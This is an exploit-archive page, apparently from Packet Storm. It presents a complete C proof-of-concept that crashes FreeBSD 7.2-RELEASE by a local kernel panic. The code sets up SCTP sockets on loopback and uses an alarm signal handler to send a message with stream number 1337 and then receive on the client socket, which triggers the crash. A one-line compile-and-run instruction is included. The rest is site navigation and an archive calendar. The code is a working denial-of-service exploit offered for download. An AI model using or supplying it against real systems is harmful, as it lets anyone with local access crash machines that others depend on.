what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

FreeBSD 7.2-RELEASE SCP Kernel Denial Of Service

FreeBSD 7.2-RELEASE SCP Kernel Denial Of Service
Posted Aug 6, 2009
Authored by Shaun Colley

FreeBSD 7.2-RELEASE SCTP local kernel denial of service exploit that causes a panic.

tags | exploit, denial of service, kernel, local
systems | freebsd
SHA-256 | 134f70fd1df5a8305a23db386308b72df604b197660b97ea45f9feb63b2e2578

FreeBSD 7.2-RELEASE SCP Kernel Denial Of Service

Change Mirror Download
/* fbsd-sctp-panic.c
*
* freebsd 7.2-RELEASE SCTP local kernel DoS (kern panic)
* only tested on 7.2-RELEASE, probably older and newer builds are vuln. as well
* based on an unfixed bug found here: <http://www.freebsd.org/cgi/query-pr.cgi?pr=136803>
*
* by Shaun Colley <shaun@rsc.cx>, Wed 05 Aug 2009
*
* $ gcc fbsd-sctp-panic.c -o fbsd-sctp-panic && ./fbsd-sctp-panic
* wait a few seconds..
*
* - shaun
*/

#include <stdio.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <string.h>
#include <signal.h>
#include <sys/time.h>
#include <fcntl.h>

int csock, sock, lsock;

void *accept_connection() {
struct sockaddr_in sin;
socklen_t size = sizeof(sin);

sin.sin_family = AF_INET;
sin.sin_addr.s_addr = htonl(0x7f000001);
sin.sin_port = htons(1337);

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
bind(sock, (struct sockaddr *)&sin, sizeof(sin));
listen(sock, 1);
lsock = accept(sock, (struct sockaddr *)&sin, &size);
}

void recvdata() {
int flag;
struct sctp_sndrcvinfo recvinfo;
char buf[10];
sctp_recvmsg(csock, buf, sizeof(buf), NULL, 0, &recvinfo, &flag);
}

void make_connection() {
struct sockaddr_in consin;
struct sctp_sndrcvinfo sinfo;

csock = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
consin.sin_family = AF_INET;
consin.sin_addr.s_addr = htonl(0x7f000001);
consin.sin_port = htons(1337);

connect(csock, (struct sockaddr *)&consin, sizeof(consin));
signal(SIGALRM, recvdata);
sinfo.sinfo_stream = 1337;
sctp_send(lsock, "pwned", sizeof("pwned"), &sinfo, 0);
}


int main() {

alarm(2);
signal(SIGALRM, make_connection);
accept_connection();

return 0;
}


Login or Register to add favorites

File Archive:

December 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    11 Files
  • 2
    Dec 2nd
    0 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    32 Files
  • 5
    Dec 5th
    10 Files
  • 6
    Dec 6th
    13 Files
  • 7
    Dec 7th
    23 Files
  • 8
    Dec 8th
    19 Files
  • 9
    Dec 9th
    1 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close